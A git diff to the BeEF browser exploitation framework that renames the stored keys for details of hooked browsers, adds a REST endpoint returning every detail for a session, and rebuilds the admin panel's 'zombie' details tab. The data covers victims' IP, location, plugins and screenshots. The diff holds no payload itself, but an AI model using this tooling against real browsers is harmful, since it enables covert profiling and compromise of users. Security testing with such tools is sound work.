+++ b/core/main/rest/api.rb
@@ -13,6 +13,12 @@ module BeEF
end
end
+ module RegisterBrowserDetailsHandler
+ def self.mount_handler(server)
+ server.mount('/api/browserdetails', BeEF::Core::Rest::BrowserDetails.new)
+ end
+ end
+
module RegisterModulesHandler
def self.mount_handler(server)
server.mount('/api/modules', BeEF::Core::Rest::Modules.new)
@@ -50,6 +56,7 @@ module BeEF
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
+ BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb
index b181fe997..0e8a008ad 100644
--- a/core/main/rest/handlers/autorun_engine.rb
+++ b/core/main/rest/handlers/autorun_engine.rb
@@ -59,10 +59,10 @@ module BeEF
if online_hooks != nil
online_hooks.each do |hb|
hb_details = BeEF::Core::Models::BrowserDetails
- browser_name = hb_details.get(hb.session, 'BrowserName')
- browser_version = hb_details.get(hb.session, 'BrowserVersion')
- os_name = hb_details.get(hb.session, 'OsName')
- os_version = hb_details.get(hb.session, 'OsVersion')
+ browser_name = hb_details.get(hb.session, 'browser.name')
+ browser_version = hb_details.get(hb.session, 'browser.version')
+ os_name = hb_details.get(hb.session, 'host.os.name')
+ os_version = hb_details.get(hb.session, 'host.os.version')
match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id)
are.trigger(match_rules, hb.id) if match_rules.length > 0
@@ -130,4 +130,4 @@ module BeEF
end
end
end
-end
\ No newline at end of file
+end
diff --git a/core/main/rest/handlers/browserdetails.rb b/core/main/rest/handlers/browserdetails.rb
new file mode 100644
index 000000000..3854a9588
--- /dev/null
+++ b/core/main/rest/handlers/browserdetails.rb
@@ -0,0 +1,48 @@
+#
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+ module Core
+ module Rest
+ class BrowserDetails < BeEF::Core::Router::Router
+
+ config = BeEF::Core::Configuration.instance
+
+ before do
+ error 401 unless params[:token] == config.get('beef.api_token')
+ halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
+ headers 'Content-Type' => 'application/json; charset=UTF-8',
+ 'Pragma' => 'no-cache',
+ 'Cache-Control' => 'no-cache',
+ 'Expires' => '0'
+ end
+
+ #
+ # @note Get all browser details for the specified session
+ #
+ get '/:session' do
+ hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
+ error 404 if hb.nil?
+
+ details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
+ error 404 if details.nil?
+
+ result = []
+ details.each do |d|
+ result << {key: d[:detail_key], value: d[:detail_value] }
+ end
+
+ output = {
+ 'count' => result.length,
+ 'details' => result
+ }
+
+ output.to_json
+ end
+ end
+ end
+ end
+end
diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb
index b4b72fe85..2acb551ce 100644
--- a/core/main/rest/handlers/hookedbrowsers.rb
+++ b/core/main/rest/handlers/hookedbrowsers.rb
@@ -143,12 +143,12 @@ module BeEF
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
- BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'OsName').destroy
- BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'OsVersion').destroy
+ BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'host.os.name').destroy
+ BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'host.os.version').destroy
#BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy
- BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'OsName', :detail_value => os).save
- BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'OsVersion', :detail_value => os_version).save
+ BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'host.os.name', :detail_value => os).save
+ BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'host.os.version', :detail_value => os_version).save
BeEF::Core::Models::BrowserDetails.new(:session_id => hb.session, :detail_key => 'Arch', :detail_value => arch).save
# TODO if there where any ARE rules defined for this hooked browser,
@@ -172,22 +172,22 @@ module BeEF
{
'id' => hb.id,
'session' => hb.session,
- 'name' => details.get(hb.session, 'BrowserName'),
- 'version' => details.get(hb.session, 'BrowserVersion'),
- 'os' => details.get(hb.session, 'OsName'),
- 'os_version' => details.get(hb.session, 'OsVersion'),
- 'platform' => details.get(hb.session, 'BrowserPlatform'),
- 'hardware' => details.get(hb.session, 'Hardware'),
+ 'name' => details.get(hb.session, 'browser.name'),
+ 'version' => details.get(hb.session, 'browser.version'),
+ 'platform' => details.get(hb.session, 'browser.platform'),
+ 'os' => details.get(hb.session, 'host.os.name'),
+ 'os_version' => details.get(hb.session, 'host.os.version'),
+ 'hardware' => details.get(hb.session, 'hardware.type'),
'ip' => hb.ip,
- 'domain' => details.get(hb.session, 'HostName'),
+ 'domain' => details.get(hb.session, 'browser.window.hostname'),
'port' => hb.port.to_s,
- 'page_uri' => details.get(hb.session, 'PageURI'),
+ 'page_uri' => details.get(hb.session, 'browser.window.uri'),
'firstseen' => hb.firstseen,
'lastseen' => hb.lastseen,
- 'date_stamp' => details.get(hb.session, 'DateStamp'),
- 'city' => details.get(hb.session, 'LocationCity'),
- 'country' => details.get(hb.session, 'LocationCountry'),
- 'country_code' => details.get(hb.session, 'LocationCountryIsoCode'),
+ 'date_stamp' => details.get(hb.session, 'browser.date.datestamp'),
+ 'city' => details.get(hb.session, 'location.city'),
+ 'country' => details.get(hb.session, 'location.country'),
+ 'country_code' => details.get(hb.session, 'location.country.isocode'),
}
end
@@ -199,9 +199,9 @@ module BeEF
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
- bname = details.get(hb.session, 'BrowserName') != nil ? details.get(hb.session, 'BrowserName') : 'n/a'
- bversion = details.get(hb.session, 'BrowserVersion') != nil ? details.get(hb.session, 'BrowserVersion') : 'n/a'
- bplugins = details.get(hb.session, 'BrowserPlugins') != nil ? details.get(hb.session, 'BrowserPlugins') : 'n/a'
+ bname = details.get(hb.session, 'browser.name') != nil ? details.get(hb.session, 'browser.name') : 'n/a'
+ bversion = details.get(hb.session, 'browser.version') != nil ? details.get(hb.session, 'browser.version') : 'n/a'
+ bplugins = details.get(hb.session, 'browser.plugins') != nil ? details.get(hb.session, 'browser.plugins') : 'n/a'
hooked_browsers << [
hb.id,
@@ -209,14 +209,14 @@ module BeEF
pfuid,
bname,
bversion,
- details.get(hb.session, 'OsName'),
- details.get(hb.session, 'BrowserPlatform'),
- details.get(hb.session, 'BrowserLanguage'),
+ details.get(hb.session, 'host.os.name'),
+ details.get(hb.session, 'browser.platform'),
+ details.get(hb.session, 'browser.language'),
bplugins,
- details.get(hb.session, 'LocationCity'),
- details.get(hb.session, 'LocationCountry'),
- details.get(hb.session, 'LocationLatitude'),
- details.get(hb.session, 'LocationLongitude')
+ details.get(hb.session, 'location.city'),
+ details.get(hb.session, 'location.country'),
+ details.get(hb.session, 'location.latitude'),
+ details.get(hb.session, 'location.longitude')
]
end
hooked_browsers
diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb
index 91a9989df..ef107a68b 100644
--- a/extensions/admin_ui/api/handler.rb
+++ b/extensions/admin_ui/api/handler.rb
@@ -72,6 +72,7 @@ module API
ui/panel/tabs/ZombieTabAutorun.js
ui/panel/PanelViewer.js
ui/panel/LogsDataGrid.js
+ ui/panel/BrowserDetailsDataGrid.js
ui/panel/ZombieDataGrid.js
ui/panel/MainPanel.js
ui/panel/ZombieTab.js
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index e14bfc627..24bda8505 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -24,7 +24,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
'/select/commandmodule.json' => method(:select_command_module),
'/select/command.json' => method(:select_command),
'/select/command_results.json' => method(:select_command_results),
- '/select/zombie_summary.json' => method(:select_zombie_summary),
'/commandmodule/commands.json' => method(:select_command_module_commands),
'/commandmodule/new' => method(:attach_command_module),
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
@@ -46,135 +45,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
}.to_json
end
- # Returns a JSON array containing the summary for a selected zombie.
- def select_zombie_summary
-
- # get the zombie
- zombie_session = @params['zombie_session'] || nil
- (print_error "Zombie session is nil";return) if zombie_session.nil?
- zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
- (print_error "Zombie is nil";return) if zombie.nil?
-
- # init the summary grid
- summary_grid_hash = {
- 'success' => 'true',
- 'results' => []
- }
-
- # zombie properties
- # in the form of: category, UI label, value
- zombie_properties = [
-
- # Browser
- ['Browser', 'Browser Name', 'BrowserName'],
- ['Browser', 'Browser Version', 'BrowserVersion'],
- ['Browser', 'Browser UA String', 'BrowserReportedName'],
- ['Browser', 'Browser Language', 'BrowserLanguage'],
- ['Browser', 'Browser Platform', 'BrowserPlatform'],
- ['Browser', 'Browser Plugins', 'BrowserPlugins'],
- ['Browser', 'Using Proxy', 'UsingProxy'],
- ['Browser', 'Proxy Client', 'ProxyClient'],
- ['Browser', 'Proxy Server', 'ProxyServer'],
- ['Browser', 'Window Size', 'WindowSize'],
-
- # Browser Components
- ['Browser Components', 'Flash', 'HasFlash'],
- ['Browser Components', 'Java', 'JavaEnabled'],
- ['Browser Components', 'VBScript', 'VBScriptEnabled'],
- ['Browser Components', 'PhoneGap', 'HasPhonegap'],
- ['Browser Components', 'Google Gears', 'HasGoogleGears'],
- ['Browser Components', 'Web Sockets', 'HasWebSocket'],
- ['Browser Components', 'Web Workers', 'HasWebWorker'],
- ['Browser Components', 'WebGL', 'HasWebGL'],
- ['Browser Components', 'QuickTime', 'HasQuickTime'],
- ['Browser Components', 'RealPlayer', 'HasRealPlayer'],
- ['Browser Components', 'Windows Media Player','HasWMP'],
- ['Browser Components', 'VLC', 'HasVLC'],
- ['Browser Components', 'WebRTC', 'HasWebRTC'],
- ['Browser Components', 'ActiveX', 'HasActiveX'],
- ['Browser Components', 'Session Cookies', 'hasSessionCookies'],
- ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
- ['Browser Components', 'Unity', 'HasUnity'],
- ['Browser Components', 'Foxit', 'HasFoxit'],
-
- # Geolocation
- ['Location', 'City', 'LocationCity'],
- ['Location', 'Country', 'LocationCountry'],
- ['Location', 'Country Code', 'LocationCountryIsoCode'],
- ['Location', 'Registered Country', 'LocationRegisteredCountry'],
- ['Location', 'Registered Country Code', 'LocationRegisteredCountryIsoCode'],
- ['Location', 'Continent', 'LocationContinent'],
- ['Location', 'Continent Code', 'LocationContinentCode'],
- ['Location', 'Latitude', 'LocationLatitude'],
- ['Location', 'Longitude', 'LocationLongitude'],
- ['Location', 'Time Zone', 'LocationTimeZone'],
-
- # Hooked Page
- ['Hooked Page', 'Page Title', 'PageTitle'],
- ['Hooked Page', 'Page URI', 'PageURI'],
- ['Hooked Page', 'Page Referrer', 'PageReferrer'],
- ['Hooked Page', 'Host Name/IP', 'HostName'],
- ['Hooked Page', 'Cookies', 'Cookies'],
-
- # Host
- ['Host', 'Host Name/IP', 'IP'],
- ['Host', 'Date', 'DateStamp'],
- ['Host', 'Operating System', 'OsName'],
- ['Host', 'Hardware', 'Hardware'],
- ['Host', 'CPU Arch', 'CpuArch'],
- ['Host', 'CPU Cores', 'CpuCores'],
- ['Host', 'Default Browser', 'DefaultBrowser'],
- ['Host', 'Screen Size', 'ScreenSize'],
- ['Host', 'Touch Screen', 'TouchEnabled']
- ]
-
- # set and add the return values for each browser property
- # in the form of: category, UI label, value
- zombie_properties.each do |p|
-
- case p[2]
- when "BrowserName"
- data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(zombie_session, p[2]))
-
- when "ScreenSize"
- screen_size = BD.get(zombie_session, "ScreenSize")
- if screen_size.nil?
- data = "Unknown"
- else
- screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
- width = screen_size_hash['width']
- height = screen_size_hash['height']
- cdepth = screen_size_hash['colordepth']
- data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
- end
- when "WindowSize"
- window_size = BD.get(zombie_session, "WindowSize")
- if window_size.nil?
- data = "Unknown"
- else
- window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
- width = window_size_hash['width']
- height = window_size_hash['height']
- data = "Width: #{width}, Height: #{height}"
- end
- else
- data = BD.get(zombie_session, p[2])
- end
-
- # add property to summary hash
- if not data.nil?
- summary_grid_hash['results'].push({
- 'category' => p[0],
- 'data' => { p[1] => CGI.escapeHTML("#{data}") },
- 'from' => 'Initialization'
- })
- end
-
- end
-
- @body = summary_grid_hash.to_json
- end
-
# Returns the list of all command_modules in a JSON format
def select_all_command_modules
@body = command_modules2json(BeEF::Modules.get_enabled.keys)
@@ -205,7 +75,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
if hook_session_id == nil
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
end
- return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
+ return BeEF::Module.support(mod, {
+ 'browser' => BD.get(hook_session_id, 'browser.name'),
+ 'ver' => BD.get(hook_session_id, 'browser.version'),
+ 'os' => [BD.get(hook_session_id, 'host.os.name')]
+ })
end
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
diff --git a/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js
new file mode 100644
index 000000000..f7e2331f0
--- /dev/null
+++ b/extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js
@@ -0,0 +1,97 @@
+//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+BrowserDetailsDataGrid = function(url, page, base) {
+ this.page = page;
+ this.url = url;
+ this.base = typeof(base) != 'undefined' ? base : {};
+
+ // RESTful API token
+ var token = BeefWUI.get_rest_token();
+
+ this.store = new Ext.ux.data.PagingJsonStore({
+ root: 'details',
+ autoDestroy: true,
+ autoLoad: true,
+ proxy: new Ext.data.HttpProxy({
+ method: 'GET',
+ url: url + '?token=' + token
+ }),
+ storeId: 'details-store',
+ baseParams: this.base,
+ idProperty: 'id',
+ fields: ['key','value', 'source'],
+ totalProperty: 'count',
+ remoteSort: false,
+ sortInfo: {field: "key", direction: "ASC"}
+ });
+
+ this.bbar = new Ext.PagingToolbar({
+ pageSize: this.page,
+ store: this.store,
+ displayInfo: true,
+ displayMsg: 'Displaying zombie browser details {0} - {1} of {2}',
+ emptyMsg: 'No zombie browser data to display'
+ });
+
+ this.columns = [{
+ id: 'details-key',
+ header: 'Key',
+ dataIndex: 'key',
+ sortable: true,
+ width: 40,
+ renderer: function(value) {
+ return $jEncoder.encoder.encodeForHTML(value);
+ }
+ }, {
+ id: 'details-value',
+ header: "Value",
+ dataIndex: 'value',
+ sortable: true,
+ width: 60,
+ renderer: function(value) {
+ return $jEncoder.encoder.encodeForHTML(value);
+ }
+ },
+
+ ];
+
+ BrowserDetailsDataGrid.superclass.constructor.call(this, {
+ region: 'center',
+ id: 'topic-grid',
+ loadMask: {msg:'Loading Feed...'},
+
+ sm: new Ext.grid.RowSelectionModel({
+ singleSelect: true
+ }),
+
+ viewConfig: {
+ forceFit: true
+ },
+ listeners: {
+ afterrender: function(datagrid) {
+ datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"key", dir:"ASC"}});
+ },
+
+ rowclick: function(grid, rowIndex) {
+ var r = grid.getStore().getAt(rowIndex).data;
+ },
+ containercontextmenu: function(view, e) {
+ e.preventDefault();
+ },
+ }
+ }) // BrowserDetailsDataGrid.superclass
+}
+
+Ext.extend(BrowserDetailsDataGrid, Ext.grid.GridPanel, {});
+
+Ext.override(Ext.PagingToolbar, {
+ doRefresh: function() {
+ delete this.store.lastParams;
+ this.doLoad(this.cursor);
+ }
+});
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
index e7c4eba0f..d5fd6db63 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
@@ -8,83 +8,21 @@
* The main Tab panel for the selected zombie.
*/
ZombieTab_DetailsTab = function(zombie) {
-
- var store_summary = new Ext.data.GroupingStore({
- url: '<%= @base_path %>/modules/select/zombie_summary.json',
- baseParams: {zombie_session: zombie.session} ,
- reader: new Ext.data.JsonReader({
- root: 'results'
- },[
- {name: 'data'},
- {name: 'category'},
- {name: 'from'}
- ]),
-
- autoLoad: false,
- sortInfo:{field: 'from', direction: "ASC"},
- groupField:'category'
- });
-
- var grid_summary = new Ext.grid.GridPanel({
- store: store_summary,
- border: false,
- region: 'center',
- layout: 'fit',
- hideHeaders: true,
- loadMask: {msg:'Loading Information...'},
-
- view: new Ext.grid.GroupingView({
- forceFit:true,
- groupTextTpl: '{text} ({[values.rs.length]} {[values.rs.length > 1 ? "Items" : "Item"]})',
- emptyText: "No Record found: this tab gets populated after you've ran some command modules.",
- enableRowBody:true
- }),
-
- viewConfig: {
- forceFit:true
- },
-
- columns:[
- {
- header: 'information',
- dataIndex: 'data',
- renderer: function(value, p, record) {
- html = '';
-
- for(index in value) {
- result = value[index];
- index = index.toString().replace('_', ' ');
-
- html += String.format('{0}: {1}
', index, $jEncoder.encoder.encodeForHTML(result));
- }
-
- return html;
- }
- },
-
- {header: 'command_module', dataIndex:'from', width: 25, renderer: function(value){return $jEncoder.encoder.encodeForHTML(value);}},
- {header: 'Category', dataIndex:'category', hidden: true, renderer: function(value){return $jEncoder.encoder.encodeForHTML(value);}}
- ]
- });
-
- ZombieTab_DetailsTab.superclass.constructor.call(this, {
- id: 'zombie-details-tab'+zombie.session,
- layout: 'fit',
- title: 'Details',
-
- items: {
- layout:'border',
- border: false,
- items:[grid_summary]
- },
-
- listeners:{
- activate : function(maintab){
- maintab.items.items[0].items.items[0].store.reload();
- }
- }
- });
-
+
+ var zombieDetails = new BrowserDetailsDataGrid('/api/browserdetails/' + zombie.session, 30);
+ zombieDetails.border = false;
+
+ ZombieTab_DetailsTab.superclass.constructor.call(this, {
+ id: 'browser-details-tab' + zombie.session,
+ layout: 'fit',
+ title: 'Details',
+ items: {
+ layout: 'border',
+ border: false,
+ items:[zombieDetails]
+ }
+ });
};
-Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {});
+Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {} );
+
diff --git a/modules/browser/detect_activex/module.rb b/modules/browser/detect_activex/module.rb
index 919068009..e4f5458bd 100644
--- a/modules/browser/detect_activex/module.rb
+++ b/modules/browser/detect_activex/module.rb
@@ -9,9 +9,9 @@ class Detect_activex < BeEF::Core::Command
content = {}
content['activex'] = @datastore['activex']
save content
- if @datastore['results'] =~ /^activex=(Yes|No)/
- bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasActiveX', $1)
- end
+ if @datastore['results'] =~ /^activex=(Yes|No)/
+ bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', $1)
+ end
end
end
diff --git a/modules/browser/detect_vlc/module.rb b/modules/browser/detect_vlc/module.rb
index 70c4e1a4f..180102aa7 100644
--- a/modules/browser/detect_vlc/module.rb
+++ b/modules/browser/detect_vlc/module.rb
@@ -5,10 +5,13 @@
#
class Detect_vlc < BeEF::Core::Command
- def post_execute
- content = {}
- content['vlc'] = @datastore['vlc']
- save content
- end
+ def post_execute
+ content = {}
+ content['vlc'] = @datastore['vlc']
+ save content
+ if @datastore['results'] =~ /^vlc=(Yes|No)/
+ bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.vlc', $1)
+ end
+ end
end
diff --git a/modules/browser/detect_wmp/module.rb b/modules/browser/detect_wmp/module.rb
index d3391d68a..4ab7dcf42 100644
--- a/modules/browser/detect_wmp/module.rb
+++ b/modules/browser/detect_wmp/module.rb
@@ -9,9 +9,9 @@ class Detect_wmp < BeEF::Core::Command
content = {}
content['wmp'] = @datastore['wmp']
save content
- if @datastore['results'] =~ /^wmp=(Yes|No)/
- bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasWMP', $1)
- end
+ if @datastore['results'] =~ /^wmp=(Yes|No)/
+ bd = BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.wmp', $1)
+ end
end
end
diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb
index c4ed0aa2b..0e4b7704e 100644
--- a/modules/browser/spyder_eye/module.rb
+++ b/modules/browser/spyder_eye/module.rb
@@ -24,7 +24,7 @@ class Spyder_eye < BeEF::Core::Command
# save screenshot file
begin
timestamp = Time.now.localtime.strftime("%Y-%m-%d_%H-%M-%S")
- ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
+ ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'browser.ipaddress')
filename = "#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
File.open(filename, 'wb') do |file|
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
diff --git a/modules/host/get_internal_ip_webrtc/module.rb b/modules/host/get_internal_ip_webrtc/module.rb
index 0f5d16074..cc15a9863 100755
--- a/modules/host/get_internal_ip_webrtc/module.rb
+++ b/modules/host/get_internal_ip_webrtc/module.rb
@@ -17,7 +17,7 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
if @datastore['results'] =~ /IP is ([\d\.,]+)/
ips = $1.to_s.split(/,/)
if !ips.nil? && !ips.empty?
- os = BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName')
+ os = BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')
ips.uniq.each do |ip|
next unless ip =~ /^[\d\.]+$/
next if ip =~ /^0\.0\.0\.0$/
diff --git a/tools/rest_api_examples/browser-details b/tools/rest_api_examples/browser-details
index 7d2e91ed3..cdd18943b 100755
--- a/tools/rest_api_examples/browser-details
+++ b/tools/rest_api_examples/browser-details
@@ -77,7 +77,7 @@ hooks.each do |hook|
print_status "Retrieving details for browser [id: #{hook['id']}]"
details = @api.browser_details(hook['session'])
print_debug details
- print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{details['IP']}, type:#{details['BrowserName']}-#{details['BrowserVersion']}, os:#{details['OsName']}] on [#{details['PageURI']}]"
+ print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{hook['ip']}]:\n#{details.map{|d| "#{d['key']}: #{d['value']}" }.flatten.join("\n")}"
end
# Retrieve hooked browser logs
diff --git a/tools/rest_api_examples/lib/beef_rest_api.rb b/tools/rest_api_examples/lib/beef_rest_api.rb
index c43bc8278..46bae859a 100644
--- a/tools/rest_api_examples/lib/beef_rest_api.rb
+++ b/tools/rest_api_examples/lib/beef_rest_api.rb
@@ -84,10 +84,11 @@ end
# get hooked browser details by session
def browser_details session
begin
- print_verbose "Retrieving details for hooked browser [session: #{session}]"
- response = RestClient.get "#{@url}hooks/#{session}", {:params => {:token => @token}}
- details = JSON.parse(response.body)
- print_good "Retrieved browser details for #{details['IP']}"
+ print_verbose "Retrieving browser details for hooked browser [session: #{session}]"
+ response = RestClient.get "#{@url}browserdetails/#{session}", {:params => {:token => @token}}
+ result = JSON.parse(response.body)
+ details = result['details']
+ print_good "Retrieved #{details.size} browser details"
details
rescue => e
print_error "Could not retrieve browser details: #{e.message}"